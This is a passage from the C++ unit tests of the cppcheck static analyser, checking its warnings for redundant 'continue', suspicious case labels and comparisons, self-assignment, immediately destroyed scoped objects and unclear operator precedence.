ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void 